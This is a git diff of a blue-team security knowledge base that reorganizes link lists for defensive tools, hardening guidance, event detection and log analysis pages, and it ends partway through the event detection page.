Analysis + +Use this page for log analysis concepts, analyst techniques, field references, and event interpretation. + {% content-ref url="event-and-log-analysis.md" %} [event-and-log-analysis.md](event-and-log-analysis.md) {% endcontent-ref %} +### Event Detection + +Use this section for SIEM and enrichment tools, IDS/IPS, Sysmon, detection engineering, and detection use cases. + {% content-ref url="event-detection/" %} [event-detection](event-detection/) {% endcontent-ref %} +### Packet Analysis + +Use this page for packet capture, network security monitoring, PCAP review, and protocol analysis. + {% content-ref url="packet-analysis.md" %} [packet-analysis.md](packet-analysis.md) {% endcontent-ref %} -{% content-ref url="stegonography.md" %} -[stegonography.md](stegonography.md) -{% endcontent-ref %} +### Threat Hunting + +Use this page for hunt methodology, hunt playbooks, threat-informed hunting, and repeatable hunt references. {% content-ref url="threat-hunting.md" %} [threat-hunting.md](threat-hunting.md) {% endcontent-ref %} +### Active Defense + +Use this page for deception, honeypots, canaries, tarpits, and other defender-controlled engagement concepts. + {% content-ref url="active-defense.md" %} [active-defense.md](active-defense.md) {% endcontent-ref %} +### Device Auditing and Hardening + +Use this section for CIS/STIG-aligned hardening, endpoint checks, Windows hardening commands, and Active Directory defensive checks. + {% content-ref url="device-hardening/" %} [device-hardening](device-hardening/) {% endcontent-ref %} -{% content-ref url="vulnerability-management..md" %} -[vulnerability-management..md](vulnerability-management..md) +### Steganography + +Use this page for detecting and analyzing hidden data in files and media from a defensive or forensic perspective. + +{% content-ref url="steganography.md" %} +[steganography.md](steganography.md) +{% endcontent-ref %} + +### Asset and Vulnerability Management + +Use this page for asset inventory, vulnerability prioritization, exposure management, CVE context, KEV, EPSS, and remediation planning. + +{% content-ref url="vulnerability-management.md" %} +[vulnerability-management.md](vulnerability-management.md) {% endcontent-ref %} +### Blue Team Toolbox + +Use this page for defensive tools that do not fit cleanly into a narrower page. + {% content-ref url="blue-toolbox.md" %} [blue-toolbox.md](blue-toolbox.md) {% endcontent-ref %} + +## Related Sections + +Some defensive workflows depend on adjacent disciplines. Use these sections when the resource is primarily owned by another category. + +* Threat intelligence feeds, indicator enrichment, reputation lookups, threat maps, and OSINT pivots live in Cyber Intelligence. + +{% content-ref url="../cyber-intelligence/" %} +[cyber-intelligence](../cyber-intelligence/) +{% endcontent-ref %} + +* OWASP, web application risk models, Burp Suite, ZAP, WAF testing, and web vulnerability methodology live in Web App Hacking. + +{% content-ref url="../web-app-hacking/" %} +[web-app-hacking](../web-app-hacking/) +{% endcontent-ref %} + +* Incident response, forensics, malware analysis, sandboxing, YARA authoring, and reverse engineering live in DFIR. + +{% content-ref url="../dfir-digital-forensics-and-incident-response/" %} +[dfir-digital-forensics-and-incident-response](../dfir-digital-forensics-and-incident-response/) +{% endcontent-ref %} + +* Logging strategy, log source evaluation, collection architecture, and security architecture live in Logging and Security Architecture. + +{% content-ref url="../security-logging/" %} +[security-logging](../security-logging/) +{% endcontent-ref %} diff --git a/blue-defense/active-defense.md b/blue-defense/active-defense.md index 51260a2..a0ff42a 100644 --- a/blue-defense/active-defense.md +++ b/blue-defense/active-defense.md @@ -36,6 +36,8 @@ Honeypots are a cornerstone of Active Defense. Beyond their value in gathering i Tarpits are designed to slow down or stall automated attacks and scanners. Unlike honeypots which monitor, tarpits actively consume attacker resources (time) by keeping connections open indefinitely or responding very slowly. * [**Endlessh**](https://github.com/skeeto/endlessh) - An SSH tarpit that sends an endless, random SSH banner. It can trap SSH clients and scripted attacks, keeping them occupied for hours or days without using significant server resources. +* [**Portspoof**](https://github.com/drk1wi/portspoof) - Confuses port scanners by returning false port information. + * [Black Hills Infosec: How to use Portspoof](https://www.blackhillsinfosec.com/how-to-use-portspoof-cyber-deception/) {% endtab %} {% tab title="Honeyports" %} @@ -56,6 +58,7 @@ Honey-assets act as "tripwires." These are files, objects, accounts, or other re * [**Canary Tokens**](http://canarytokens.org/) - Deceptive objects that beacon back to a server when activated. Examples include a Word document that alerts when opened or an HTML snippet that calls home when a page is accessed. * [Reference: ADHD Project - CanaryTokens](https://adhdproject.github.io/#!Tools/Attribution/CanaryTokens.md) * [Video: Canary Tokens Overview](https://www.youtube.com/watch?v=mDnaEmpO1C4) +* [**Deploy-Deception**](https://github.com/samratashok/Deploy-Deception) - PowerShell module for deploying Active Directory decoy objects. * [**CryptoLocked**](https://github.com/PrometheanInfoSec/cryptolocked-ng) - An anti-ransomware toolkit designed to detect and impede ransomware activity. * *Note: Verify current maintenance status before deployment.* {% endtab %} @@ -69,6 +72,7 @@ Active Response involves taking automated, direct action against a detected thre * [**Fail2Ban**](https://github.com/fail2ban/fail2ban) - A widely-used intrusion prevention software that scans log files (e.g., `/var/log/auth.log`) and bans IPs that show malicious signs like too many password failures. * [**CrowdSec**](https://github.com/crowdsecurity/crowdsec) - A modern collaborative security automation engine. It analyzes behaviors, responds to attacks (by blocking IPs, presenting captchas, etc.), and shares threat intelligence across the community. + * [cs-php-bouncer](https://github.com/crowdsecurity/cs-php-bouncer) - CrowdSec PHP bouncer using the `auto_prepend` mechanism. * [**PSAD**](https://github.com/mrash/psad) (Port Scan Attack Detection) - Analyzes iptables log messages to detect, alert, and (optionally) block port scans and other suspect traffic. ### **Attribution** diff --git a/blue-defense/blue-toolbox.md b/blue-defense/blue-toolbox.md index 017feed..fbba81e 100644 --- a/blue-defense/blue-toolbox.md +++ b/blue-defense/blue-toolbox.md @@ -1,110 +1,89 @@ # Blue Team Toolbox -This section collects useful tools and resources that don't fit neatly into the other specific categories but are essential for a robust defense strategy. +This page collects defensive tools that do not fit cleanly into a narrower Blue page. If a tool belongs to a specific workflow, use the related section instead of duplicating the full entry here. -### Open Source AntiVirus/AntiMalware/AntiRootkit +## Endpoint Protection and Local Security -* [ClamAV](https://www.clamav.net/) - An open source antivirus engine for detecting trojans, viruses, malware, and other malicious threats. - * [ClamAV Documentation](https://docs.clamav.net/Introduction.html) - * [On-Access Scanning](https://docs.clamav.net/manual/OnAccess.html) - For Linux users, ClamAV has an on-access scanning option. Ensure it is enabled for real-time protection. -* [YARA](https://virustotal.github.io/yara/) - The pattern matching swiss knife for malware researchers (and everyone else). -* [Rootkit Hunter (rkhunter)](https://rkhunter.sourceforge.net/) - A Unix-based tool that scans for rootkits, backdoors, and possible local exploits. -* [Chkrootkit](http://www.chkrootkit.org/) - A tool to locally check for signs of a rootkit. +* [Rootkit Hunter (rkhunter)](https://rkhunter.sourceforge.net/) - Unix-based tool that scans for rootkits, backdoors, and possible local exploits. +* [Chkrootkit](http://www.chkrootkit.org/) - Local rootkit checking tool. +* [PortMaster](https://safing.io/) - Free and open-source application firewall with adjustable defense profiles. +* [OpenSnitch](https://github.com/evilsocket/opensnitch) - Linux application firewall. +* [FireJail](https://github.com/netblue30/firejail) - SUID sandbox program that reduces risk by restricting application runtime environments with Linux namespaces, seccomp-bpf, and capabilities. +* [Santa](https://github.com/google/santa) - Binary authorization system for macOS. +* [KnockKnock](https://objective-see.org/products/knockknock.html) - macOS persistence discovery tool from Objective-See. +* [LuLu](https://objective-see.org/products/lulu.html) - Open-source macOS firewall for controlling outbound connections. -### Secure Firmware +## Firmware and Platform Security -* [Coreboot](https://doc.coreboot.org/getting_started/index.html) - A replacement for your BIOS / UEFI with a strong focus on boot speed, security, and flexibility. Designed to boot the operating system as fast as possible without compromising security. -* [TianoCore](https://www.tianocore.org/) - A community project supporting an open source implementation of the Unified Extensible Firmware Interface (UEFI). EDK II is a modern, feature-rich, cross-platform firmware development environment for the UEFI and UEFI Platform Initialization (PI) specifications. +* [Coreboot](https://doc.coreboot.org/getting_started/index.html) - Open firmware project focused on boot speed, security, and flexibility. +* [TianoCore](https://www.tianocore.org/) - Open-source implementation of UEFI and UEFI Platform Initialization specifications. +* [eBPF](https://ebpf.io/) - Kernel programmability technology used for observability, networking, and security controls. +* [eBPF for Windows](https://github.com/microsoft/ebpf-for-windows) - Microsoft implementation of eBPF for Windows. +* [SELinux](https://github.com/SELinuxProject/selinux) - Mandatory access control framework for Linux. +* [AppArmor](https://www.apparmor.net/) - Linux application confinement system. +* [Grsecurity](https://grsecurity.net/) - Linux kernel security enhancement project. -### Personal Firewall/Sandbox +## Email, Browser, and User-Facing Defense -* [PortMaster](https://safing.io/) - A free and open-source application firewall with adjustable defense profiles, white/blacklisting, and privacy features. -* [OpenSnitch](https://github.com/evilsocket/opensnitch) - A Linux Application Firewall. -* [FireJail](https://github.com/netblue30/firejail) - A SUID sandbox program that reduces the risk of security breaches by restricting the running environment of untrusted applications using Linux namespaces, seccomp-bpf, and Linux capabilities. -* [eBPF](https://ebpf.io/) - A technology that can run sandboxed programs in the Linux kernel without changing kernel source code or loading kernel modules. -* [eBPF for Windows](https://github.com/microsoft/ebpf-for-windows) - An eBPF implementation that runs on top of Windows. eBPF is a well-known technology for providing programmability and agility, especially for extending an OS kernel, for use cases such as DoS protection and observability. +* [Sublime Security](https://sublimesecurity.com/) - Email detection and response platform with custom rule support. +* [uBlock Origin](https://github.com/gorhill/uBlock) - Efficient wide-spectrum browser content blocker. +* [Privacy Badger](https://privacybadger.org/) - Browser extension that learns to block invisible trackers. +* [Veracrypt](https://veracrypt.fr/en/Home.html) - Open-source disk encryption. -### OpenSource Email Security +## Security Infrastructure Tools -* [Sublime Security](https://sublimesecurity.com/) - Sublime lets you write and run custom detection and response rules to block phishing attacks, hunt for threats, and more. +* [Zuul](https://github.com/Netflix/zuul) - L7 application gateway for dynamic routing, monitoring, resiliency, and security. +* [IPFire](https://www.ipfire.org/) - Open-source firewall distribution. +* [pfSense](https://www.pfsense.org/) - Open-source firewall and router platform. +* [Pi-hole](https://pi-hole.net/) - DNS sinkhole for blocking unwanted domains at the network level. +* [CrowdSec](https://github.com/crowdsecurity/crowdsec/) - Collaborative behavior engine for detecting and blocking attacks. +* [SANS Security Policy Templates](https://www.sans.org/information-security-policy/) - Security policy templates for common organizational needs. -### Threat Intelligence Platforms (TIP) +## Small Utilities -* [MISP](https://www.misp-project.org/) - Malware Information Sharing Platform and Threat Sharing. Open source software for collecting, storing, distributing and sharing cyber security indicators. -* [OpenCTI](https://www.opencti.io/en/) - Open Cyber Threat Intelligence Platform. A unified platform to manage and analyze cyber threat intelligence. +* [Network Tools](https://network-tools.com/) - Web-based network toolset. +* [Google Admin Toolbox](https://toolbox.googleapps.com/apps/main/) - Miscellaneous Google administration and diagnostic utilities. +* [Google Charts](https://developers.google.com/chart) - Charting library for visualizations. +* [Gnuplot](http://www.gnuplot.info/) - Command-line graphing utility. -### Malware Analysis & Sandboxing +## Related Tool Homes -* [CyberChef](https://gchq.github.io/CyberChef/) - The "Cyber Swiss Army Knife" - a web app for encryption, encoding, compression and data analysis. -* [Any.Run](https://any.run/) - Interactive online malware sandbox service. -* [Hybrid Analysis](https://www.hybrid-analysis.com/) - Free automated malware analysis service. -* [VirusTotal](https://www.virustotal.com/) - Analyze suspicious files, domains, IPs and URLs to detect malware and other breaches. -* [UrlScan.io](https://urlscan.io/) - A service to scan and analyse websites. +* SIEM, IDS/IPS, endpoint detection, Sysmon, and detection engineering tools live in Event Detection. -### Forensics & Incident Response +{% content-ref url="event-detection/" %} +[event-detection](event-detection/) +{% endcontent-ref %} -* [Velociraptor](https://docs.velociraptor.app/) - An advanced digital forensic and incident response tool that enhances your visibility into your endpoints. -* [Volatility](https://www.volatilityfoundation.org/) - The world's most widely used framework for extracting digital artifacts from volatile memory (RAM) samples. -* [Eric Zimmerman's Tools](https://ericzimmerman.github.io/#!index.md) - A collection of highly regarded forensic tools for Windows (including KAPE, LECmd, etc.). -* [Sysinternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) - The classic suite of troubleshooting and security tools for Windows. +* Packet capture, Zeek, Wireshark, Zui, and protocol analysis tools live in Packet Analysis. -### Network Analysis +{% content-ref url="packet-analysis.md" %} +[packet-analysis.md](packet-analysis.md) +{% endcontent-ref %} -* [Wireshark](https://www.wireshark.org/) - The world’s foremost and widely-used network protocol analyzer. -* [Zeek](https://zeek.org/) - A powerful network analysis framework that is much different from the typical IDS you may know. -* [Suricata](https://suricata.io/) - A high performance Network IDS, IPS and Network Security Monitoring engine. -* [Zui (formerly Brim)](https://zui.brimdata.io/) - Desktop application to efficiently search and analyze super-structured network data (Zeek logs, PCAP). +* Threat intelligence platforms, indicator enrichment, URL reputation, VirusTotal, URLScan, MISP, and OpenCTI live in Cyber Intelligence. -### VMs/OSs +{% content-ref url="../cyber-intelligence/" %} +[cyber-intelligence](../cyber-intelligence/) +{% endcontent-ref %} -* [Security Onion](https://securityonionsolutions.com/) - A free and open source Linux distribution for threat hunting, enterprise security monitoring, and log management. -* [SANS SIFT](https://www.sans.org/tools/sift-workstation/) - The SIFT Workstation is a collection of free and open-source incident response and forensic tools designed to perform detailed digital forensic examinations in a variety of settings. -* [Flare](https://github.com/mandiant/flare-vm) - A fully customizable, Windows-based security distribution for malware analysis, incident response, penetration testing, etc. -* [REMnux](https://remnux.org/) - A Linux toolkit for reverse-engineering and analyzing malicious software. REMnux provides a curated collection of free tools so analysts can investigate malware without having to find, install, and configure them individually. -* [SOF-ELK](https://github.com/philhagen/sof-elk) - A “big data analytics” platform focused on the typical needs of computer forensic investigators/analysts and information security operations personnel. It is a customized build of the open source Elastic stack, pre-configured for forensic use. +* Incident response, forensics, malware analysis, sandboxing, YARA, SIFT, REMnux, FLARE VM, Velociraptor, Volatility, and Eric Zimmerman tools live in DFIR. -### MacOS +{% content-ref url="../dfir-digital-forensics-and-incident-response/" %} +[dfir-digital-forensics-and-incident-response](../dfir-digital-forensics-and-incident-response/) +{% endcontent-ref %} -* [Santa](https://github.com/google/santa) - A binary authorization system for macOS. -* [KnockKnock](https://objective-see.org/products/knockknock.html) - Uncovers persistently installed software to reveal malware. -* [LuLu](https://objective-see.org/products/lulu.html) - An open-source firewall that aims to block unknown outgoing connections, protecting your privacy and your Mac. -* *Operator Handbook: MacOS Defend - pg.162* +* Deception, honeypots, canary tokens, Fail2Ban, CrowdSec, and active response live in Active Defense. -### Security Infrastructure Tools +{% content-ref url="active-defense.md" %} +[active-defense.md](active-defense.md) +{% endcontent-ref %} -* [Zuul](https://github.com/Netflix/zuul) - An [L7 application gateway](https://www.f5.com/services/resources/glossary/application-layer-gateway) providing dynamic routing, monitoring, resiliency, and security. -* [IPFire](https://www.ipfire.org/) - An open source firewall distribution. -* [pfSense](https://www.pfsense.org/) - A free and open source firewall and router featuring unified threat management, load balancing, and more. -* [Pi-hole](https://pi-hole.net/) - A [DNS sinkhole](https://en.wikipedia.org/wiki/DNS_Sinkhole) that protects devices from unwanted content without client-side software. - -### Browser Security - -* [uBlock Origin](https://github.com/gorhill/uBlock) - An efficient wide-spectrum content blocker. -* [Privacy Badger](https://privacybadger.org/) - Automatically learns to block invisible trackers. - -### Misc Tools - -* [SELinux](https://github.com/SELinuxProject/selinux) - A security enhancement to Linux providing mandatory access control (MAC) to support confidentiality and integrity requirements. -* [AppArmor](https://www.apparmor.net/) - A Linux application security system that proactively protects the OS and applications from threats by enforcing good behavior. -* [Veracrypt](https://veracrypt.fr/en/Home.html) - Open source disk encryption. -* [Network Tools](https://network-tools.com/) - Free online network toolset. -* [IP Location](https://lite.ip2location.com/ip-address-ranges-by-country) - IP address ranges by country. -* [TheHive](https://thehive-project.org/) - A scalable, open source Security Incident Response Platform. -* [Cortex](https://github.com/TheHive-Project/Cortex) - A tool for analyzing TheHive Observables at scale. -* [SANS Security Policy Templates](https://www.sans.org/information-security-policy/) - A collection of security policy templates. -* [CrowdSec](https://github.com/crowdsecurity/crowdsec/) - A collective behavior engine that analyzes behaviors to detect and block attacks. -* [Google Admin Toolbox](https://toolbox.googleapps.com/apps/main/) - Miscellaneous web-based utilities. -* [Grsecurity](https://grsecurity.net/) - Extensive security enhancement to the Linux kernel. -* **Graph and Charting Tools** - * [Google Charts](https://developers.google.com/chart) - * [Gnuplot](http://www.gnuplot.info/) - -### Archived / Deprecated Projects +## Archived / Deprecated Projects These tools are no longer actively maintained but remain here for reference or legacy compatibility. -* [Venator-Swift](https://github.com/richiercyrus/Venator-Swift) - (Archived) Proactive detection of malicious activity on macOS systems. -* [MADCert](https://github.com/NationalSecurityAgency/MADCert) - (Archived) Certificate generator and manager. -* [BLESS](https://github.com/Netflix/bless) - (Archived) Bastion's Lambda Ephemeral SSH Service. -* [D4 Project](https://d4-project.org/) - (Inactive) Distributed denial-of-service (DDoS) detection tool. -* [AfterGlow](http://afterglow.sourceforge.net/) - (Legacy) Network visualization tool. +* [Venator-Swift](https://github.com/richiercyrus/Venator-Swift) - Archived proactive detection project for macOS systems. +* [MADCert](https://github.com/NationalSecurityAgency/MADCert) - Archived certificate generator and manager. +* [BLESS](https://github.com/Netflix/bless) - Archived Lambda-based ephemeral SSH bastion. +* [D4 Project](https://d4-project.org/) - Inactive distributed denial-of-service detection project. +* [AfterGlow](http://afterglow.sourceforge.net/) - Legacy network visualization tool. diff --git a/blue-defense/device-hardening/README.md b/blue-defense/device-hardening/README.md index dfa51c3..e16ae6b 100644 --- a/blue-defense/device-hardening/README.md +++ b/blue-defense/device-hardening/README.md @@ -23,20 +23,15 @@ The best way to understand device hardening and how to perform it is to follow [ ## Hardening Tools * [Microsoft Attack Surface Analyzer](https://github.com/Microsoft/AttackSurfaceAnalyzer) - Attack Surface Analyzer is a [Microsoft](https://github.com/microsoft/) developed open source security tool that analyzes the attack surface of a target system and reports on potential security vulnerabilities introduced during the installation of software or system misconfiguration. -* [Portspoof](https://github.com/drk1wi/portspoof) - A tool for confusing port scanners by returning false port information. - * [Black Hills Infosec: How to use Portspoof](https://www.blackhillsinfosec.com/how-to-use-portspoof-cyber-deception/) * [HardenTools](https://github.com/securitywithoutborders/hardentools) - A collection of simple utilities designed to disable a number of "features" exposed by operating systems (Microsoft Windows, for now), and primary consumer applications. * [O&O ShutUp10++](https://www.oo-software.com/en/shutup10) - Free anti-spy and telemetry logging tool for Windows 10 and 11. * [Google's Browser Info Checker](https://toolbox.googleapps.com/apps/browserinfo/) - Checks what info you might be sharing to others through your browser. Requires Javascript. * [Google's MXChecker](https://toolbox.googleapps.com/apps/checkmx/) - Checks for common MX domain security settings. -* [cs-php-bouncer](https://github.com/crowdsecurity/cs-php-bouncer) - This bouncer leverages the PHP `auto_prepend` mechanism. - - New/unknown IP are checked against crowdsec API, and if request should be blocked, a **403** or a captcha can be returned to the user, and put in cache. * [dev-sec](https://github.com/dev-sec/) - Security + DevOps: Automatic Server Hardening. * [grapheneX](https://github.com/grapheneX/grapheneX) - Automated System Hardening Framework. * [Legit-Labs/legitify](https://github.com/Legit-Labs/legitify) - Detect and remediate misconfigurations and security risks across all your GitHub assets. * [ScubaGear](https://github.com/cisagov/ScubaGear) - Automation to assess the state of your M365 tenant against CISA's baselines. -Cloud & Container Hardening +### Cloud & Container Hardening * [Prowler](https://github.com/prowler-cloud/prowler) - An Open Source security tool to perform AWS, Azure, and Google Cloud security best practices assessments, audits, incident response, continuous monitoring, hardening, and forensics readiness. * [ScoutSuite](https://github.com/nccgroup/ScoutSuite) - An open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. @@ -59,8 +54,6 @@ Cloud & Container Hardening * [TechNet: Security Hardening Tips and Recommendations](https://social.technet.microsoft.com/wiki/contents/articles/18931.security-hardening-tips-and-recommendations.aspx) * [DoD Cyber Exchange: STIGs](https://public.cyber.mil/stigs/) - The Security Technical Implementation Guides (STIGs) are the configuration standards for United States Department of Defense (DoD) Information Assurance (IA) and IA-enabled devices/systems. * [Developing a Secure Baseline](https://adsecurity.org/?p=3299) -* [OWASP Cryptographic Storage Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html) - Guide and Reference for best standards for encrypting stored data. -* [OWASP Authorization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html) * [NSA's Secure Windows Baseline](https://github.com/nsacyber/Windows-Secure-Host-Baseline) * [Top 20 Linux Security Tips](https://www.cyberciti.biz/tips/linux-security.html) - Classic guide for securing Linux servers. * [NSA Network Infrastructure Security Guidance (2022)](https://media.defense.gov/2022/Mar/01/2002947139/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDANCE_20220301.PDF) @@ -95,8 +88,16 @@ Cloud & Container Hardening * [OSChameleon](https://github.com/mushorg/oschameleon) - **(Archived/Legacy)** OS Fingerprint Obfuscation for Linux. Requires Python 2.7. * [ADHD Project - OsChameleon](https://adhdproject.github.io/#!Tools/Annoyance/OsChameleon.md) * [atc-mitigation](https://github.com/atc-project/atc-mitigation) - **(Deprecated)** Analytics for combatting threats based on MITRE ATT&CK. No longer actively maintained. -* [mod_evasive](https://github.com/jzdziarski/mod_evasive) - **(Legacy)** Apache module for DoS/Brute Force protection. Not updated in many years; consider modern WAF solutions. -* [ModSecurity-apache](https://github.com/SpiderLabs/ModSecurity-apache) - **(Legacy)** Traditional ModSecurity 2.x for Apache. For modern deployments, consider ModSecurity v3 (libmodsecurity). + +Active deception tools such as Portspoof and CrowdSec bouncers live in Active Defense. Web application firewall resources such as ModSecurity and mod_evasive live in Web App Hacking. + +{% content-ref url="../active-defense.md" %} +[active-defense.md](../active-defense.md) +{% endcontent-ref %} + +{% content-ref url="../../web-app-hacking/web-technologies/web-application-firewall.md" %} +[web-application-firewall.md](../../web-app-hacking/web-technologies/web-application-firewall.md) +{% endcontent-ref %} ## **Hardening Commands** diff --git a/blue-defense/device-hardening/ad-security-checks.md b/blue-defense/device-hardening/ad-security-checks.md index 8f0561e..58bc6bf 100644 --- a/blue-defense/device-hardening/ad-security-checks.md +++ b/blue-defense/device-hardening/ad-security-checks.md @@ -12,8 +12,11 @@ *The following tools may be unmaintained but contain useful concepts or scripts.* * [jackdaw](https://github.com/skelsec/jackdaw) - AD visualization tool (similar goal to BloodHound) focusing on object interactions. * [RiskySPN](https://github.com/cyberark/RiskySPN) - PowerShell scripts focused on detecting and abusing accounts associated with SPNs. -* [Deploy-Deception](https://github.com/samratashok/Deploy-Deception) - A PowerShell module to deploy active directory decoy objects. -* [dcept](https://github.com/secureworks/dcept) - A tool for deploying and detecting use of Active Directory honeytokens. +* AD deception tools such as Deploy-Deception and dcept are preserved in Active Defense. + +{% content-ref url="../active-defense.md" %} +[active-defense.md](../active-defense.md) +{% endcontent-ref %} ## General Recommendations @@ -87,7 +90,7 @@ ## Logging -* Enable enhanced auditing.Creation Events" enabled +* Enable enhanced auditing and ensure process creation events are enabled. * “Audit: Force audit policy subcategory settings (Windows Vista or later) to override audit policy category settings” * Enable PowerShell module logging (“\*”) & forward logs to central log server (WEF or other method). * Enable CMD Process logging & enhancement (KB3004375) and forward logs to central log server. diff --git a/blue-defense/device-hardening/windows-hardening-commands.md b/blue-defense/device-hardening/windows-hardening-commands.md index 8b45d96..e4bdb5f 100644 --- a/blue-defense/device-hardening/windows-hardening-commands.md +++ b/blue-defense/device-hardening/windows-hardening-commands.md @@ -4,6 +4,12 @@ **Note:** modifications may disrupt device communication. Test thoroughly before deploying to production. May also require a restart. +For Active Directory assessment context and related hardening recommendations, use AD Security Checks. + +{% content-ref url="ad-security-checks.md" %} +[ad-security-checks.md](ad-security-checks.md) +{% endcontent-ref %} + ### **Disable remote interaction with services** ```cmd diff --git a/blue-defense/event-and-log-analysis.md b/blue-defense/event-and-log-analysis.md index 6468cde..0dcc2f7 100644 --- a/blue-defense/event-and-log-analysis.md +++ b/blue-defense/event-and-log-analysis.md @@ -1,10 +1,16 @@ --- -description: Common Security Events, how to analyze them, and the tools to do so. +description: Common security events, log interpretation, and analyst techniques --- -# Event and Log analysis +# Event and Log Analysis -## Types of data we work with +Use this page for understanding alert data, event data, raw logs, and the analysis techniques defenders use during investigations. Logging architecture, collection design, and source onboarding live in the Logging and Security Architecture section. + +{% content-ref url="../security-logging/" %} +[security-logging](../security-logging/) +{% endcontent-ref %} + +## Types of Data Security professionals typically work with parsed and normalized versions of log information within a SIEM. This structured data enables field-specific searching, the creation of use cases that map across various log sources, and provides a deeper level of detail than what appears in a standard alert. @@ -12,10 +18,9 @@ Security professionals typically work with parsed and normalized versions of log When investigating an event, alert, or incident, there are generally three levels of data to consider: - -* Alert data - These are essentially searches made in your data to look for specific matches. If working out of an alert queue like most security analysts, this is what you will get first. The alert should show you the search logic as well as the data points that are matched in the search. -* Event data - These are the event logs that your searches and use cases work off of. They are typically normalized for processing by your SIEM, parsed so you know which fields you need, and possibly filtered to limit the scope of the data you might find relevant. -* Log data - This is the raw, unedited, un-normalized data, before it is processed by another tool. Generally if you are working with an EDR platform, application logs, or system logs, these will be giving you raw log data. +* **Alert data** - Searches, rules, or detections that matched specific conditions in your data. If you work from an alert queue, this is usually what you see first. Good alerts should show the search logic and the data points that matched. +* **Event data** - The normalized records that searches and detection use cases operate on. Event data is usually parsed into fields and may be filtered or enriched by a SIEM. +* **Log data** - Raw, unedited, un-normalized records before another tool processes them. EDR platforms, applications, operating systems, and network devices often expose this level of detail. Alert data and Event data can vary depending on the platform in use. Log data and its format are specific to the type of log being generated. @@ -31,10 +36,15 @@ While tools provide alerts, analysts often need to hunt through data manually. H ## **Understanding Log results and their contents** -Logging formats will change depending on the log, log source, application, and manufacturer. Most are dense with information and can be difficult to parse without any reference. Below are some collections of cheatsheets and tool outputs that can help you make sense of the various log types you might encounter during an investigation. +Logging formats change depending on the source, application, operating system, and vendor. Most are dense with information and can be difficult to parse without a reference. The resources below help explain fields, event IDs, tool outputs, and artifacts you may encounter during an investigation. + +For SIEM search languages and detection rule syntax, use the Query Languages page. + +{% content-ref url="query-languages.md" %} +[query-languages.md](query-languages.md) +{% endcontent-ref %} * Platform Logs - * [SigmaHQ](https://github.com/SigmaHQ/sigma) - The "Snort" for log events. Sigma is a generic signature format that allows you to describe detection methods once and convert them for use in Splunk, Elastic, Microsoft Sentinel, and others. * [What2Log](https://what2log.com/platformselection/) - What2Log is an amazing platform that breaks down the different logs and data points found within those logs, and gives fantastic guidance on what exactly they mean. * [Cheat-Sheets — Malware Archaeology](https://www.malwarearchaeology.com/cheat-sheets) - Collection of logging cheatsheets for various windows log types. * [Linux Logs Explained - Full overview of Linux Log Files - Plesk](https://www.plesk.com/blog/featured/linux-logs-explained/) - Breakdown of the files and paths of the various logs created by Linux diff --git a/blue-defense/event-detection/README.md b/blue-defense/event-detection/README.md index 36e8acf..59febc1 100644 --- a/blue-defense/event-detection/README.md +++ b/blue-defense/event-detection/README.md @@ -1,202 +1,150 @@ # Event Detection -## **Intro** +Event detection is foundational for security analysts and blue teams. Whether you are building automated alerting or threat hunting, you need to understand what you are looking for, which data source can show it, and how your tooling represents the activity. -Event detection is foundational for the security analyst and Blue Team. Whether you are building automated alerting or threat hunting, it is essential to understand what you are looking for, how to look for it, and what tools can assist in the process. A vital resource for developing a detection strategy is [MITRE D3FEND](https://d3fend.mitre.org/), which allows for a task-based approach to creating detection use cases. +Effective event detection usually requires three things: -Effective event detection typically requires three elements: a source (device or application) that generates relevant logs, the logs themselves, and a collection mechanism. The source does not need to be a security device to provide security-relevant data. However, security-specific devices often generate lower data volumes compared to general applications, as they typically transmit only alerts and contextual information surrounding a detection. When analyzing logs from non-security devices, analysts must develop logic to identify and extract suspicious events. +* A data source that can observe the behavior. +* A collection path that gets the data into an analysis platform. +* Detection logic that separates suspicious activity from normal noise. -To parse, organize, and analyze logs, we use a SIEM (Security Information and Event Management) system. While individual tools allow for direct data inspection, a SIEM aggregates logs from diverse sources into a centralized location. This centralization enables correlation of activities across different log sources. Additionally, a key function of a SIEM is data normalization. Different devices and applications often output logs in unique formats (e.g., McAfee AV logs differ from Microsoft Defender logs). A SIEM can normalize this disparate data into a standard format, such as the CIM (Common Information Model). This standardization simplifies parsing and facilitates the creation of universal detection rules. +This page is the hub for detection engineering resources in the Blue section. Deep dives on threat intelligence, attack surface discovery, deception, YARA, packet analysis, and logging architecture live in their own pages and sections. -## **SIEM and Enrichment** +## Detection Engineering and Standards + +* [Sigma](https://github.com/SigmaHQ/sigma) - Open rule format for log-based detections that can be converted into many SIEM query languages. +* [Elastic Common Schema (ECS)](https://www.elastic.co/guide/en/ecs/current/index.html) - Common field schema for Elasticsearch data. +* [Splunk Common Information Model (CIM)](https://docs.splunk.com/Documentation/CIM/latest/User/Overview) - Splunk's data normalization model for writing searches across similar data sources. +* [MITRE D3FEND](https://d3fend.mitre.org/) - Defensive countermeasure knowledge base that can help structure detection coverage. + +For search syntax and rule language references, use Query Languages. + +{% content-ref url="../query-languages.md" %} +[query-languages.md](../query-languages.md) +{% endcontent-ref %} + +## SIEM and Enrichment + +Use this page for SIEM platforms, enrichment workflows, and tools that add context to security events. {% content-ref url="siem-and-enrichment.md" %} [siem-and-enrichment.md](siem-and-enrichment.md) {% endcontent-ref %} -## **Detection Engineering & Standards** +## IDS, IPS, and Network Security Monitoring -* [Sigma](https://github.com/SigmaHQ/sigma) - Often described as the "Snort for generic log events," Sigma is an open, text-based signature format that allows you to describe relevant log events in a straightforward manner. These rules can be converted into query languages for most SIEMs (Splunk, Elastic, QRadar, etc.), enabling "Detection as Code" and cross-platform rule sharing. -* [Elastic Common Schema (ECS)](https://www.elastic.co/guide/en/ecs/current/index.html) - An open source specification that defines a common set of fields for data ingested into Elasticsearch. -* [Splunk Common Information Model (CIM)](https://docs.splunk.com/Documentation/CIM/latest/User/Overview) - Providing a methodology to normalize data to a common standard, allowing analysts to write single searches that cover similar data across different sources. - -## **IDS/IPS** +Use this page for Snort, Suricata, Zeek, Security Onion, and network detection rule references. {% content-ref url="ids-ips.md" %} [ids-ips.md](ids-ips.md) {% endcontent-ref %} -## NSM: Network Security Monitoring +For packet capture and protocol analysis, use Packet Analysis. + +{% content-ref url="../packet-analysis.md" %} +[packet-analysis.md](../packet-analysis.md) +{% 